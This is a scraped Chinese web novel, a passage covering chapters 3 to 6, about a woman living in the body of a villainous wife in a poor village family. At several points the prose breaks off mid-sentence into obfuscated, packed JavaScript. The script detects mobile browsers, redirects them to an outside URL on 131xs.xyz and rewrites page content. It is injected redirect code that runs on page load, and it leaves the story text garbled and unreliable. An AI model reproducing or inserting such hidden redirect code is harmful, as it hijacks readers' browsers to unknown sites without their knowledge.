也不知霍耘究竟什么时候才能回来，她饿了大半日已经有些受不住了。 院子里，霍二山看了一眼厨屋的方向。 二儿媳花钱大手大脚，不是个能过日子的，谁知今日竟然转了性子。恰好董春娘看了过来。 霍二山朝着她点了点头。 董春娘：“也行，都听你的。” 秦书锦：“把长得不好的挑出来咱们自己吃，剩下的好的明日一早我拿去镇上卖掉。” 附近她已经转过了，还没去镇上看看，她得了解一下身处的环境，才好决定如何生存下去。 二儿媳真的不太一样了，她竟然要留下差的，卖好的。 董春娘：“好。” 秦书锦的确喜欢吃蘑菇，也想顿顿吃。可眼下她最大的困境是吃不饱饭，温饱问题解决不了。倒不如拿蘑菇这种金贵的东西去换些铜板，然后用铜板买一些能填饱肚子的米面。等有了余钱再提享受。 几人收拾了一番，挑出来小半斤品相不好的，剩下的放置在一旁，等着明日拿去镇上卖。 这身子平日里没怎么干过活，等收拾完蘑菇，秦书锦累得不轻，回屋躺着了。没多久她就睡着了，梦里是前世的画面，看着看着，秦书锦在梦中流了泪。到了后面，是一些原主零星的记忆。 秦书锦是被饿醒的。她看了一眼窗外，已经到晌午了，可家里静悄悄的，丝毫没有要做饭的意思。她从床上下来，出了门，去上了趟茅房。 整个村子一共有两个茅房，一个在村东头，一个在村西头，男女共用。村东头的这个离霍耘家很近，可那茅房脏得很，把秦书锦恶心得够呛，出来后差点就吐了。 她走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦书锦：“我吃不了那么多。爹娘，咱们是一家人，别这么见外。况且这蘑菇也不光是我一个人采的，小芽和子规也帮忙了，娘帮着洗菜，爹炒的。” 众人对秦书锦的态度有些意外，但仍旧没去吃蘑菇。 秦书锦：“难道要我亲手给你们夹菜吗？” 霍二山瞥了一眼儿媳，见儿媳是真心想让他们吃的，下了定论：“都吃吧。” 霍子规眼前一亮，筷子立即伸向了蘑菇，吃了一口后，笑得见牙不见眼：“蘑菇真好吃！” 看着霍子规的反应，秦书锦突然有些心酸。吃一口蘑菇就能让他如此满足，可见从前的日子过得有多艰难。 在霍二山和董春娘夹了菜后，霍小芽也去夹菜了。 秦书锦没那么馋蘑菇，吃了几口后就不吃了。眼下她最大的感觉是饿，需要粮食来填饱肚子。一个大馒头下肚，又喝了一碗汤后，她闭上眼舒服地叹了口气。 吃饱饭的感觉真舒服啊。 “爹！” 霍子规清脆的声音响了起来，秦书锦激灵一下清醒过来。她侧头朝着门口的方向望去，只见一个身形高大，宽肩窄腰，满脸胡茬，风尘仆仆的男子牵着马出现在了众人的面前。 霍二山和董春娘都长得挺好，霍耕也因为长相好才入赘到了镇上，听说霍耘也长得十分好看，怎么今日瞧着不怎么样啊。 “耘哥儿回来了！”董春娘声音里带着惊喜。 “二哥。”霍小芽眼睛亮亮的。 秦书锦原以为霍耘怎么也得过些日子才能回来，没想到这么快就回来了。她今日刚来到这个陌生的地方，他就从外地回来了。 除了秦书锦，全家人都跟霍耘打了招呼。 作为他的妻子，她是不是也得跟着说些话？不知从前原主是如何同他相处的？她没结过婚，不知该如何称呼他。她想了想电视剧里看过的内容，清了清嗓子，唤了一声：“夫君。” 一时间所有人都看向了秦书锦。 霍耘也朝着秦书锦看了过去，疲惫的眼睛里有几分探究。 看着众人的反应，秦书锦心里一紧，暗道不好，她叫错了，此时再改也来不及了，她只得硬着头皮看向霍耘。 4. 第4章 董春娘看了看儿媳，又看向儿子，瞧着气氛不太对，她道：“你这刚回来，吃过饭了么，娘去给你热几个馒头。” 霍耘收回目光，放下东西，道：“娘，不用麻烦了。县太爷为我们准备了饭食，我在县城吃过饭回来的。” 董春娘：“行，那你赶紧歇歇。” 霍耘坐在了一旁，他盯着秦书锦看了片刻，目光又落在了桌上的吃食。 此刻霍家人都已经差不多吃完了，桌上的盘子是空的，只有一点菜汤，霍子规正拿着馒头蘸菜汤吃。 霍耘：“娘，家里的钱都用光了吗？” 董春娘看了霍二山一眼，很快又看向儿子。 “没有，还有呢。” 霍耘又看了一眼桌上的残渣，一副不信的样子。 霍二山：“家里还有些银钱。” 这话不仅霍耘不信，秦书锦也不相信。董春娘和霍二山跟这世上大多数父母一样，跟孩子一向报喜不报忧。按理说霍耘每个月的月例应该不算少才对，家里不至于吃不饱饭。董春娘和霍二山也不像是挥霍的性子。所以钱花哪里去了？ 秦书锦正盯着董春娘和霍二山看，这时她察觉到一道目光看向了她。她顺着目光看了过去，霍小芽很快又垂下了头。 她心里突然冒出来一个念头。 难不成钱被原主拿走花光了？ 这原主可真会给她出难题。福，她没享到一点儿，难，她一个没落。 霍耘似乎也注意到了妹妹的目光，看向了秦书锦。 秦书锦的心顿时提了起来。 这霍耘不过是衙门的一个皂吏，书中也说过他什么事都听霍子规的，是一个没什么性格没什么主见的打手。此刻他看她的目光怎么这么骇人呢？ 虽然他的目光里没什么情绪，但就是给人一种极强的压迫感。 董春娘生怕儿子和儿媳生了嫌隙，立马插了一句嘴：“今儿你媳妇儿去山上采了些蘑菇，你爹炒的蘑菇太好吃了，子规这才拿馒头蘸菜汤吃。” 霍耘收回了目光，看向母亲。 霍子规吃完最后一点菜汤，嘴里鼓鼓囊囊的，道：“蘑菇好吃，我明儿还想吃！” 董春娘立即接话：“明儿让你爷再炒。” 霍子规：“好！” 霍耘的视线落在了霍子规身上，没再看秦书锦。 见大家都吃完饭了，霍小芽起身收拾东西。秦书锦觉得情况不妙，连忙帮着端盘子，远离霍耘。 她没注意到的是，霍耘见她主动端盘子，眼里有几分疑惑。 到了厨屋后，霍小芽道：“二嫂，你去歇着吧，我来洗就好。” 秦书锦：“一起洗吧。” 霍小芽：“不用了，我一个人就可以。” 秦书锦虽说是以此为借口跑出来的，但她也是真心想帮忙洗碗的。她没帮忙做饭，再不洗碗就说不过去了。 “还是我来吧，你去收拾屋里。” 霍耘定是有话要跟董春娘和霍二山说的，她也不想去见他。 霍小芽想了想，点头应下，去收拾堂屋了。她去堂屋时，听到爹娘和二哥在里间说话，言语间提到了二嫂，听到爹娘将二嫂做的事隐瞒下来，她眼神一暗，在堂屋停留片刻，最终还是什么都没做，转身去了厨屋。 收拾好之后，秦书锦回了西厢房。 主屋里，董春娘和霍二山在跟儿子夸儿媳。 霍二山：“你媳妇儿对家里挺好的，她读过书，跟村里的姑娘不大一样。” 董春娘：“是啊。她娘家过得好，咱们家穷，也不能让她受苦。她不乱花钱的。” 他们夫妇二人觉得儿子带着个三岁的儿子娶妻不易，所以不敢跟儿子说儿媳的不是，满嘴都是在夸儿媳。 霍耘觉得爹娘在骗他，道：“我记得她之前不是这样的性子。” 虽然之前二人相处的时间不多，但秦书锦的性子他多少有些了解。 董春娘：“那时候她刚嫁过来，不习惯，人家娘家毕竟过得好，如今她已经习惯了。” 霍耘仍旧不信，瞧着爹娘的神情，他知道自己问不出来第二种答案了。他索性没再多问。 他从怀里拿出来二两银子递给了霍二山。 董春娘惊讶地问：“你这次月例怎么发了这么多！” 霍耘：“这是这次办差县太爷赏的，这两个月例还没发，等发了我再给爹娘。” 霍二山：“你出门在外，自己手里也留些钱。” 霍耘：“我手里还有，爹放心用便是。” 董春娘：“好，我们给你收好。” 霍耘提醒：“这银子爹娘自己拿着，别给旁人。” 他不确定钱是不是真的被秦书锦拿去挥霍了，爹娘都不是乱花钱的人，他们定能守好钱。 董春娘看了丈夫一眼，笑着说：“好，我们自己留着，以后给子规娶媳妇儿。” 说完话后，霍耘提着行囊去了西厢房。他抬手推门，结果门从里面关上了。 秦书锦正坐在床上想着方才的事情，心里琢磨着该如何应对霍耘，听到有人推门吓了一跳。瞧着门口的身影，判断出来是霍耘，她连忙站起身来。 坏了，她习惯一进门就锁门，忘了霍耘回来了。 秦书锦打开门，看着面前高大的男人，解释道：“我方才在换衣裳。” 霍耘瞥了一眼秦书锦身上的衣裳，应了一声，走了进去。 秦书锦低头看了看自己身上的衣裳，这衣裳和刚才的一模一样，霍耘这是看出来她在撒谎了？她顿时有些懊恼。 一转身，她看到霍耘已经去了里间。 她正欲跟过去，只见霍耘抬手脱光了上身的衣裳，手放在了腰带上，正准备脱裤子。 秦书锦震惊地瞪大了双眼。 霍耘真不把她当外人，大白天的当着她的面就脱衣裳。 不过他这身材是真不错啊。目测他的身高应该在一米八以上，宽肩窄腰，身上不仅没有一丝赘肉，竟然还有肌肉，胳膊看起来也十分紧实，露出来几根青筋。 再往上看，看到了一张长满了络腮胡的脸。 身材挺好，就是那张脸有些邋遢，当真是可惜了，要是刮掉胡子该多好。 霍耘突然意识到了什么，停下了动作，扭头看向秦书锦。 四目相对，二人都沉默了。 霍耘停顿了一瞬，一言不发，将刚刚脱下的衣裳又穿上了。 秦书锦心里有些许的失望。明明都是夫妻了，霍耘还真是把她当成外人了。他这好身材原主或许见过，可她没见过啊。 穿好衣裳后，霍耘去衣柜里找出来一套干净的衣裳，拿着衣裳朝着外面走去，他在院子里拿了个木盆，将干净的衣裳放在木盆里，端着盆出去了。 他这是去外面洗澡？ 还行，他这人多少还是爱干净的，知道要去洗澡。 霍耘走后，秦书锦看着屋里唯一一张床，内心突然有些紧张起来。 她和霍耘是夫妻，二人刚成亲三个月，满打满算在一起的日子也就一个月左右。霍耘两个月没回来了，两人又是新婚，今晚怕是要做些事情。 霍耘的身材虽然不错，可她毕竟第一次见他，实在是进入不了角色，今晚该如何拒绝才好呢？ 过了约摸两刻钟左右，霍耘端着一个盆从外面回来了。此刻他身上的衣裳已经换过了，是他方才从柜子里拿的那套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405648|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净的。他将木盆放在地上，从盆里拿出来衣裳，抖了抖，晒在了院子里的绳子上。 竟然还会自己洗衣裳，这习惯不错。 霍小芽在屋檐下绣花，见兄长衣裳都洗好了，连忙朝着他走了过去。 “二哥，你咋自己洗了，不是说好拿回家我洗吗？” 霍耘：“顺手的事儿，你这会儿忙吗？” 霍小芽：“不忙。” 霍耘：“跟我去山上捡些柴火吧。” 虽说白天刚刚以捡柴为借口去过山上，此刻霍小芽还是答应下来。 兄妹二人拿了绳子朝着山上走去。 一路上，霍耘问了问妹妹家里最近两个月发生的事情。 方才在堂屋听到霍二山和董春娘隐下秦书锦做过的恶事时，霍小芽心里有些不舒服，她很希望爹娘能跟哥哥说实话。可此刻轮到她了，她方知爹娘的不易。 她一想到兄长好不容易才娶上了媳妇儿，想到爹娘的交待，她就不敢说那些事了，她只捡着好听的说。 霍耘见问不出来什么，直言道：“你二嫂跟爹要钱了吗？” 霍小芽不似方才回答得那么快，她似乎有些迟疑，但最终还是否认了。 “没有。” 霍耘：“当真没有？” 霍小芽：“真没有。” 霍耘：“她这两个月都做什么了，有没有去镇上，或者县城？” 霍小芽咬了咬牙，再次否认：“没有，二嫂一直在家里待着，哪也没去。” 霍耘盯着妹妹看了一会儿，道：“嗯，我知道了。” 霍小芽见哥哥没再追问，松了一口气。 霍耘捡了些柴火，见天色已暗，带着妹妹朝着山下走去。 天色渐沉，看着兄长高大结实的背影，霍小芽飘着的心渐渐落到了实处。只是，二嫂要将她和子规卖了的事要不要跟兄长说呢？ 这么一想，霍小芽就落后了些。 山里夜间有野兽出没，霍耘见妹妹迟迟没有跟过来，怕她在后面遇到危险，停下了脚步等着她。 随着妹妹走近，霍耘看到了她脸上纠结的神色。 “可是遇到了什么困难？” 霍小芽没注意到自己已经靠近了兄长，吓了一跳，抬眸看向兄长。瞧着兄长眼里的关切，她张了张口，那件事差点就说了出来。 一阵冷风吹过，霍小芽清醒了些。 不能说，她绝对不能说。爹娘说过了，二哥带着个孩子，娶妻不易。家里也没有多余的银钱再为二哥娶个媳妇儿了。大哥已经入赘了，早就不把自己当成霍家人。二哥要是再娶不上媳妇儿，他们这个家就要散了。 “没有，天太冷了，我有点害怕。” 霍耘笑了，抬手揉了揉妹妹的头。 “别怕，有哥哥在。你走前面，我在后面跟着你。” 霍小芽眼眶一热：“我跟哥哥一起走。” 霍耘：“好。” 兄妹俩一起朝着山下走去。等他们二人回到家时，天色已经彻底沉了下来，整个霍家村黑黢黢的。 董春娘听到动静披了件衣裳从堂屋出来了。 “你俩可算是回来了，这么晚了咋又去捡柴了，家里的柴能烧十日了。” 霍耘：“儿子明日一早就要回县衙，几日都不回来，就想着多捡些柴，省着爹再去山里了。” 董春娘：“捡柴不费事儿的，让你爹去就行，他整日在家闲着也没事做。你快去歇着吧。” 霍耘：“知道了，娘也去歇着吧。” 董春娘：“哎，好。” 霍耘将柴火放到了厨屋里，抬手打了打身上的柴火屑，又去井边洗了洗手，回了西厢房。 5. 第5章 下午自打霍耘走后秦书锦就紧张得不行，在屋里坐立不安。眼见着天色越来越暗，霍耘却一直没回来，秦书锦就更加紧张了。 直到院子里传来了说话的声音，她的一颗心都快跳出来了。 此刻，随着“吱扭”一声响，门从外面打开了。 秦书锦看向了门口。天色太暗，她没在屋里找到蜡烛，看不清楚。只觉得一个高大的身影出现在了外间的门口，然后走入了外间，转身将门关上了，朝着里间走来。 秦书锦立即站了起来。 对于秦书锦的行为霍耘有些意外。 他新娶的这个妻子虽然是秀才的女儿，身上却没有一丝书香气，性子骄纵，嫌贫爱富。 当年他外出办差，差点死在外面，是辰王救了他一命。为了报答辰王的恩情，他冒死将小王爷带回了家，为他隐姓埋名，将他认作自己的儿子，抚养他长大。 他原本没打算成亲的，无奈爹娘苦苦相逼，小王爷也需要母亲做掩护，他这才答应下来。 那时爹娘将秦家女夸得世间少有，他也没去查探。想着她爹是秀才，她品行也不会太差的。万万没想到她的性子丝毫不端庄，脾气暴躁，贪图享乐。 那日他离开前，他们二人刚刚吵过一架。 霍耘转过身，去柜子里拿出来一根大红色的喜烛，点燃了。 秦书锦见霍家很穷，还以为家里没有蜡烛，没想到竟然有这种金贵的东西。 等蜡烛点燃了，她这才发现蜡烛是大红色的。这蜡烛已经燃过一半了，这是剩下的。 难不成这是他们成亲时用的东西？她记得旁人都说新婚夜的喜烛要一直燃着的，不然不吉利，怎么这根没燃完呢？ 这时，霍耘突然说道：“你要是想和离明日随我去县衙，咱们办了此事。” 虽说方才爹娘否认钱被秦书锦拿走了，二妹也一直说秦书锦好话，但他觉得银钱多半就是被她拿走了。这两个月在外面他也想清楚了。秦书锦看不上他，也瞧不上他们家。他暂时也没有娶妻的意思。与其继续这样互相折磨得过下去，还不如趁早和离，彼此能落得个清净。 秦书锦怔了一下，抬眸看向了霍耘。 怎么好端端地说起和离的事情了？根据书中的描述，原主不是在三个月后自己跟人跑了吗？ 她刚要问，就看到一张英俊的脸出现在自己眼前，一瞬间愣住了。 不是，眼前这人是谁啊，怎么长得这么好看。 看着秦书锦眼里的光，霍耘眸色微冷。见她迟迟不答，想起上次吵架时二人说过的话，他压住内心的厌恶，道：“你不用担心，给出去的彩礼我一文钱都不会要的。” 话都说到这个份上了，秦书锦不得不答。她快速将这件事在脑子里转了转。霍耘和霍子规是大反派，两个人注定要死的。造反这种大事，不光他俩要死，他作为霍耘的妻子也难逃一劫。但造反是在十年后，眼下还是安全的。 至于和离……如今她手头什么都没有，和离了之后就得回到秦家去。按照书里的意思，原主的爹是个贪财的。考了多年都没中举，又要维持门面，说不定她前脚和离了，后脚就得给她找个有钱的夫婿。这世道讲究父母之命媒妁之言，孝道大于天，她一个人是很难反抗成功的。 霍耘看起来十分厌恶她，还想跟她和离。如此说来，他应该不会对她动手动脚。再嫁一个夫婿可不一定能像霍耘一样不碰她。而且，经过一日的接触，霍家人都是心地善良之人。霍耘虽然可怕，但他常常不在家。如此一想，在霍家待着似乎也不错。 且先等她攒攒钱，安稳下来了，有了独立出去的资本再离开。 “我不想和离。”秦书锦做出了自己的决定。 霍耘浓眉皱了起来，不知秦书锦葫芦里卖了什么药。 “你确定？” 秦书锦：“确定。” 见秦书锦如此果决，霍耘沉默了片刻，最终，他语气平静地道：“随你吧，你若将来反悔了，随时来找我。” 说罢，他转身去柜子里拿了一床被褥，熟练地铺在了地上，合衣躺在了上面。 秦书锦看着躺在地上的霍耘，她彻底放心了。虽然刚刚已经猜到霍耘不会碰她，但她也担心两个人若是睡在一张床上会不自在。 她站在原地踟躇了片刻，也打算上床睡了。只是，没洗澡怎么能睡觉呢。 可她要怎么洗澡？ 她今日光顾着紧张了，忘了问霍小芽了。 霍耘原本已经闭上了眼，见秦书锦迟迟不动，他睁开双眼，问：“还有事？” 眼下天色已晚，家里人估摸着都睡了，秦书锦也不好去打扰，可这种事若是问霍耘的话又有些难为情。 霍耘见她面露纠结，坐起身来，问：“你若是此刻就后悔了，明日随我去县衙便是。” 秦书锦支支吾吾道：“不……不是，我是想问家里有没有新的木盆。” 霍耘没料到是这个要求，他想了想，穿上鞋子，去外间找了找，从最里面的角落里找到了两个木盆。 秦书锦：“这是没人用过的吗？” 霍耘：“对，上面应该还有刺，你用的时候注意些。” 秦书锦接过盆子，道谢：“好，谢谢。” 见秦书锦道谢，霍耘越发觉得她今日有些古怪。虽然二人只相处了几日，可在他的印象中秦书锦喜欢鼻孔朝天，拿下巴看人，从来不正眼瞧他一眼。今日竟然会跟他道谢。 秦书锦哪里知道霍耘在想什么，她记得今日在柜子里见过没用过的棉布。她去里间的柜子里拿了一条棉布放在盆子里，端着盆子去了外面，在井边小心翼翼地将盆子冲洗了几遍，打了一盆井水回了西厢房。 西厢房有霍耘，她本不打算来这里洗的，可不来这里她也没地儿去了。 虽说西厢房有两间，但这两间房中间只隔了半堵墙，没有门。 将盆放在墙后之后，秦书锦又开始纠结起来。霍耘就在里间，他会不会看到什么？一会儿她擦身子的时候他会不会突然出来？ 秦书锦蹲在地上许久都没动作。 就在这时，里间的蜡烛突然被人吹灭了。 霍耘原本不知道秦书锦的意图，但瞧着她在外面的举动，以及将水端进来的行为，他多少猜到了些。为了避免两个人尴尬，他吹了蜡烛。 霍耘这是睡了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405649|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦书锦顿时松了一口气，赶紧洗了起来。 暮春时节，井水很是冰凉，可她不会烧火，只好凑活着用了。水碰到身子的一瞬间，她冻得哆哆嗦嗦的，她忍住冰冷，快速擦了擦身子。简单擦了擦后，她小心翼翼地将水端了出去。因为屋里太暗，走了几步后，不小心撞在了门上，屋里哐当一声响。 还好只是盆撞上了，她没有撞上，不然这一下她得疼死。 她往后退了半步，动作越发小心了。 将盆里的水泼掉，又洗了洗盆和布，秦书锦哆哆嗦嗦地回来了。 刚走到门口时，屋里的蜡烛却突然亮了起来。 秦书锦脚步一顿，推开门，看向了里间。这一刻她似乎明白了什么。她转身将门销上，去了里间。她看了一眼闭着眼躺在地上的霍耘，吹灭蜡烛，钻进了被窝里。 “谢谢。” 霍耘没有回答她，回应她的是屋外的虫鸣。 秦书锦能看得出来他们夫妇二人的关系并不好，霍耘看她时眼里不仅没有爱意，甚至还有一丝厌恶。可纵然如此，他仍旧会照顾她的感受，默默地帮助她。 他是反派阵营的人，应该是个心黑手狠的人才对，可他跟她想的似乎不太一样。 他本性竟是个善良的人。 仔细想想，霍二山和董春娘都是再善良不过的人，他们这样的人养出来的孩子又怎可能是恶人呢？ 霍耘多日在外奔波，劳累不已，今日终于归家，很快就睡着了。 此刻秦书锦也进入了梦乡。 她梦到霍耘离家的前一日，原主跟霍耘要钱，霍耘没给她，她便跟霍耘吵了起来。霍耘没说什么，一直是原主在说。原主骂霍耘是个穷光蛋，骂他不中用，说要同他和离。那话脏的秦书锦都不好意思听，恨不得赶紧醒过来。 霍耘却是个能忍的，一言不发，拿着行囊离开了家。 接着，她又梦到了霍耘归家这一日。霍耘回来时霍家人正在吃饭，饭菜十分简单，霍耘猜到钱被妻子挥霍了，很是生气，看原主的目光很是不善。 霍耘同意和离，二人第二日一大早去了县衙。此事不知如何被秦父知道了，连忙带着霍二山和董春娘赶过来阻止。 秦父之所以阻止并非是因为看中霍耘这个女婿，而是昨日吃酒时听人说霍耘这次办差得了不少赏钱，让女儿长个心眼儿，将赏钱骗过来再和离。 秦书锦终于还是被气醒了。 此刻天蒙蒙亮，屋里黑咕隆咚的。除了那两幕，她脑海中还多了一些原主的记忆，比如，原主打骂霍子规，再比如原主咒骂霍二山董春娘……总之很是糟心。 此刻地上没了被褥，霍耘不知何时已经离开了。 若她没猜错的话，昨晚梦中的情节应当是在书中真实发生的。但她心中有一丝疑惑，相较于梦中的霍耘，昨晚的霍耘可是温和体贴多了，他能观察到一些细节，默不作声地去帮她，他为何会出现如此的变化？ 这时鸡圈里的鸡又叫了起来。 她今日还要去卖蘑菇。 罢了，事已至此，多想无益，她还是多赚些银钱傍身吧，这样以后不管是什么样的境遇都能有底气。 6. 第6章 秦书锦本以为霍小芽今日又跟着霍二山去了地里，没想到一出门就在院子里看到了她。 霍小芽刚洗刷完，见二嫂在看她，顿时有些紧张。 “二……二嫂。” 霍小芽似乎很怕她。 梦中零星的画面又浮现在了眼前，原主从来没把霍小芽当做过妹妹，而是当成一个丫鬟使，让她干这干那，一有不如意就骂她。 想到那些画面，秦书锦语气柔和了几分。 “你哥呢，你可瞧见了？” 霍小芽点了点头：“我哥天不亮就去县衙了。” 秦书锦：“哦，这么早啊。那你今早没去地里吗？” 霍小芽：“没有，地里活儿不多了，爹一个人就能干完。” 秦书锦折了一根柳枝，刷了刷牙，漱完口后，她看向霍小芽，问道：“你一会儿有事儿吗？” 霍小芽：“没……没事。” 霍小芽跟霍二山董春娘说话时挺正常的，在霍耘面前也很正常。唯独跟她说话时有时结结巴巴的，一副惧怕她的模样。昨日在山上霍小芽看到她时也是一副怪怪的模样。 秦书锦以为霍小芽怕她是因为原主之前对她太凶了，于是露出来自认为最标准的笑容。 “你许久没出门了吧？我想去镇上卖蘑菇，你要不要跟我一同去？” 即便有了些原主的记忆，这个世界对于秦书锦而言也是陌生的，她不太敢一个人出门，想找个作伴的，家里最合适的人就是霍小芽。 听到秦书锦的话，霍小芽神色大变，脸色有些苍白。她看起来像是听到了什么鬼故事一样。再看嫂子脸上的笑容，她越发害怕了。 那日她听到嫂子跟人说要卖了她和子规，昨日嫂子没有行动，难道今日叫她去镇上是想卖了她？ 她有些后悔昨日没跟二哥说此事了。 秦书锦大为不解。 她是什么很可怕的人吗？ 她昨儿用井水照过镜子了，长得挺好看的。虽不是什么倾国倾城的大美人，但姿色绝对是上等的，不至于吓人。 而且，小姑娘们不都喜欢出门吗，怎么小姑子这般害怕。难道是不喜欢见生人？ 霍小芽眼神闪躲：“我……我……我还要喂鸡，就……就不去了。” 秦书锦虽然不愿强人所难，但她实在是摸不着路，又不敢一个人出门，于是贴心地道：“我等你。” 嫂子从前从不带她出门，今日却非得带着她。 果然，她猜得没错，嫂子就是想卖了她。 霍小芽看起来状态更差了，嘴唇没了血色，手指绞着衣摆。 秦书锦脑海中顿时冒出来一个念头：莫非霍小芽不是怕见生人，而是怕她？ 这时董春娘从堂屋出来了。她方才听到了儿媳和女儿的谈话，以为女儿是怕耽搁了干活儿才不去的，笑着说：“小芽，你许久没出门了，跟你嫂子出去转转吧，娘来喂鸡。” 霍小芽猛地看向母亲，她张了张嘴，想说些什么。 董春娘不解。 儿媳从前不愿跟家里人亲近，如今她愿意亲近孙子和女儿，这是好事。 “咋了？” 一向老实的霍小芽没敢多言，垂下了头，低声道：“没……没什么。” 董春娘：“跟你嫂子去吧。” 霍小芽：“嗯。” 秦书锦一直盯着霍小芽，没错过她此刻的神情。她觉得霍小芽未必只是因为怕她才会如此，想必她心里存着事儿才会有怪异的举动。她暂且按住没问，看向了董春娘：“娘，我瞧着咱家的菜长得也挺好的，不如再摘一些菜吧，这样还能多卖一些钱。” 董春娘：“咱家种的都是一些常见的菜，家家户户都有，镇上菜市卖菜的多，卖不上什么价。” 秦书锦倒是没想到这一点，她问了问董春娘这些蔬菜的价格。 芹菜和莴苣好一些，两文钱一斤，菠菜一文钱一斤，青菜一文钱两斤。 董春娘是去卖过菜的，知道镇上的人不爱买这些菜，带来带去也麻烦，所以又劝了劝：“你二人本就背着五斤多蘑菇，再带一些青菜怕是累着了不说，也卖不出去，还得再背回来。” 秦书锦想了想，道：“带上吧，这么多菜咱们也吃不完，能卖一斤是一斤的。” 既然儿媳要求，董春娘也没再劝。 “行，娘去给你摘。” 秦书锦：“娘，您摘些长得好看的，差的咱们自己留着吃。” 同样的价格，顾客肯定更想要品相好的。自家吃的话就不用讲究了，既然都是自己种的菜，长得好不好看也无所谓。 董春娘：“哎，好。” 秦书锦看着墙角的野菜长得好，忍不住摘了些野菜，以前菜市场可是有不少卖野菜的，卖得还挺好。 霍小芽皱了皱眉，嫂子是秀才的女儿，家里过得比她家好，不知道这些野菜压根儿没人买。但瞧着嫂子高兴的样子，她也没敢多说什么。帮完母亲，又去帮嫂子了。 等董春娘摘好，将重的竹篓给了女儿，轻一点的递给了儿媳。 秦书锦见状抢过了重的竹篓，背在了肩上。 董春娘愣了一下，道：“老二媳妇，你背这个，这里面是蘑菇和青菜。” 秦书锦：“娘，背哪个都一样。” 见霍小芽拿着竹篓没动，秦书锦催促道：“赶紧吧，一会儿晚了卖不出去了。” 霍小芽只好将轻一点的竹篓背在了肩上。 董春娘想了想，道：“你们等一下。” 说完话转身去了屋里，在里间里待了一会儿，快步走了出来，手里还攥着些东西。 等走近了，她长开了手，递给秦书锦一钱银子。 “这碎银子你拿着花。” 秦书锦惊讶地看向董春娘。要是她没猜错的话，之前霍家应该穷得揭不开锅了，不然昨日不会吃的那么差。今日董春娘竟然主动拿出来银子给她，这说明家里又有钱了，想必这银子是霍耘给她的。 昨日她就猜到家里的银子被原主花光了，霍耘对此事似乎很不赞同，为何董春娘不顾儿子的反对又给她银子了。 秦书锦：“娘，不用了，我们是去卖东西的，去赚钱，不是去花钱。” 董春娘：“拿着吧，看看有啥想买的就买点儿。” 秦书锦心里有些堵得慌。霍家人可真是善良啊，之前原主那么欺负他们，整日不是打就是骂，还花光了他们的钱，结果他们不计前嫌，还给她钱花。 她本就觉得原主亏欠了霍家，想要弥补一下，结果霍家人想要弥补她。霍家人待原主这么好，原主还那样对霍家人，心里不亏吗？她不是原主，做不到问心无愧。 “娘，你自己收着吧，我真用不着。” 董春娘脸色有些不好看，问：“你可是嫌少？我再给你拿点儿。” 秦书锦：“我不是这个意思，我们真用不着。小芽，咱们走了。” 霍小芽一直在旁边看着，二嫂破天荒地没要钱，她心里正纳闷儿着。见二嫂喊她，她赶紧跟上了。 董春娘看了看手里的碎银子，叹了一口气，转身把银子放回去了。 秦书锦和霍小芽一人背了一个竹篓，朝着镇上走去。一路上，霍小芽时不时看向秦书锦，试图看出她究竟在想什么。 秦书锦渐渐地把方才的事搁置在脑后，想到要去卖菜，好奇地问：“家里种那么多菜你们没想过去卖吗？” 霍小芽：“去……去过。” 秦书锦：“如何？” 霍小芽：“去了几日，就卖了两三斤，没人买，后来……后来就不去了。” 怪不得方才董春娘劝她不要去卖青菜，原来他们已经去过了。 还没进入镇上，秦书锦就看到路两边有不少卖菜的人。 “青菜便宜卖了，一文钱两斤。” “芹菜芹菜，一文钱一斤。” “莴苣莴苣，还剩下三斤，给三文钱就行。” “菠菜一文钱一斤，买一斤菠菜送一斤野菜。” 秦书锦：“……” 她突然明白董春娘方才为何一直劝她了，感情她背上的蔬菜是一堆没用的石头。 霍小芽看了一眼嫂子的脸色，怕她要发火，吓得低下了头。 秦书锦不是个爱发脾气的人，她看了一眼后和霍小芽去了菜市，菜市上卖菜的更多，也都很便宜。 二人转了一圈，秦书锦实在不想便宜卖掉，又出去了。在镇上走了一圈后，秦书锦决定找几户大户人家挨家挨户去问。 霍小芽走得越来越慢，脸色也越来越难看。看着面前的朱红色大门，她面如死灰，脚步也停了下来。刚刚见二嫂一门心思去卖菜，她还以为自己误会了二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405650|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 